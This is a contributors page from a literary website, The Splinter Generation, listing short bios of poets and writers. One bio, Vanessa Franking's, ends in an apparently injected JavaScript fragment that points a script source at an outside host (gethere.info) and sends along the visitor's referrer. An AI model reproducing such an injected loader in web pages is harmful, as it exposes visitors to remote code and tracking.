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Seth Fischer

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Seth Fischer’s writing has appeared or is forthcoming in Swink, Pank, Guernica, Monkeybicycle, Gertrude, and elsewhere. He’s Sunday Editor at The Rumpus and founding editor of this site and webscribbler.net. He holds an MFA in fiction and creative nonfiction from Antioch University Los Angeles. During the day, he works in a cubicle not too far. »

Xochitl-Julisa Bermejo

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Xochitl-Julisa Bermejo is a poet, essayist, and native Angelino inspired by paint on walls and the unique and diverse history and culture of her city. She is a literary curator for Beyond Baroque Literary/Arts Center and was nominated for a 2009 Pushcart Award. Her work has been published in The Los Angeles Review, PALABRA, and. »

Scott Miller

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Scott Miller was born in Philadelphia, PA, in 1978, under the sign of the Lion. He holds a degree in Mathematics from MIT and remains a software developer even as he pursues a writing career, in an effort to achieve the elusive left-brain/right-brain balance (or is it to evade madness?). In 2008, he completed an. »

Lisa McCool-Grime

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Lisa McCool-Grime loves to write alone about Sappho and wallflower women and to write collaboratively about anything. She loves to read everything (including tea leaves). Her wallflower women are or will be appearing in Splinter Generation, PANK, Solo Novo, Phantom Kangaroo, DIAGRAM, Painted Bride Quarterly and elsewhere. Her collaborative work can be read at Poemeleon and elimae. Tupelo press awarded one of her poems first place in their Fragments of Sappho contest.. »

Suzanne La Follette

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Suzy La Follette wrote her way onto the poetry slam scene in 2002, becoming a force on the stage and placing 6th in the National Poetry Slam in 2003. She is a structure firefighter in Austin while attending Antioch University for a dual major MFA in poetry and creative nonfiction. Suzy is Associate Editor in. »

Khadijah Queen

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Khadijah Queen is the author of two poetry collections, Conduit (Black Goat/Akashic 2008), and Black Peculiar, which won the 2010 Noemi Book Award for Poetry and is forthcoming in fall 2011. She is also a visual and performance artist. Visit her website:. »

R. Neal Bonser

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R. Neal Bonser is a writer living in Tucson, Arizona. He received his MFA in fiction from Antioch University Los Angeles in 2008. He recently had a story named runner-up in the 2010 Flatmancrooked fiction contest. Other stories have appeared in Word Riot, Two Hawks Quarterly and The Oklahoma Review. He plays guitar in the band,. »

Vanessa Franking

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Vanessa Franking lives in the Lake Tahoe area. Vanessa received her B.S in Electrical Engineering from the University of Memphis, then headed west, returning only for family visits and BBQ. After a short career in the computer world, Vanessa returned to school. She is a student at Antioch pursuing her MFA in fiction.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer). »

Karly Roberts

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Karly Roberts is passionate about various art forms, but due to the constraints of reality, she’s only studying one at a time. She is working toward an MFA in Creative Writing, concentrating on creative nonfiction at Antioch University. She currently lives in her small Kansas hometown with her dog, Koda.. »

Heather Luby

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Heather Luby grew up in the Ozarks and proudly considers herself a literary hillbilly. Her work has appeared or is forthcoming in Word Riot, Bartleby Snopes, Halfway Down the Stairs, The Citron Review, Travel by the Books, and Annotation Nation. She holds an MFA from Antioch University Los Angeles.. »

About The Splinter Generation

The Splinter Generation is a place by and for people born between 1973 and 1993. It's a venue for writers, artists and musicians from all different backgrounds to tell the story of our generation. More on us here.

Meet at the Gate, the web site of Canongate Publishing House, has this to say, "This is how we discover that the youth of today is not all shoot-'em-up gun- (or knife-) totin' hooligans. It’s great to see that there are a huge number of young adults who are seeking each other out - complete strangers - to try and establish an understanding with one another to create a more emotionally- and creatively-connected world."

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